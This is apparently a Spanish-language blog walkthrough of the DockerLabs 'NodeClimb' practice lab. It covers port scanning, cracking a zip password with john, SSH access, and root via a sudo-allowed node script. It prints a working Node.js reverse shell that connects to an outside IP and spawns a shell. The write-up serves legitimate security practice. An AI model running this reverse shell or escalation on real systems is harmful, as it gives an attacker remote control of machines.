Post

NodeClimb , DockerLabs

portada

En este reto de DockerLabs practicamos.

  • Scan de puertos
  • Cracking password zip
  • Re0vshell node

Herramientas y recursos

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX nodeclimb  172.17.0.2

reporte

En este caso nos encontramos solo con el protocolo ftp:port:21 abierto por el ssh:port:22.

Lo primero que hacemos es comprobar que nos dejaron en el ftp dado que el login es anónimo según nmap.

ftp

Como vemos tenemos un zip y en su contenido hay un txt que presumible mente es un password , como solo esa cifrado un cat nos permite ver lo que hay dentro del zip.

catzip

Pasemos a crakear el fichero como siempre primero lo convertimos a un hash y así luego john realiza las comprobaciones para averiguar cual es.

1
2
zip2john secretitopicaron.zip > secretohash
john --format=PKZIP -w /home/quino/rockyou.txt secretohash

john

Infiltracion y escalada.

Una vez con las credenciales intentamos acceder por ssh. Nos encontramos con script.js y si ejecutamos sudo -l , vemos que tenemos permisos con node hacia ese fichero. Asi que nos creamos una revshell con el siguiente código.

1
2
3
4
5
6
7
8
9
10
11
12
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("sh", []);
    var client = new net.Socket();
    client.connect(1111, "192.168.0.112", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

Nos ponemos a las escucha con nc en nuestra maquina y posteriormente procedemos a ejecutar el script como indica sudo -l.

root

Muchas gracias por leer

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.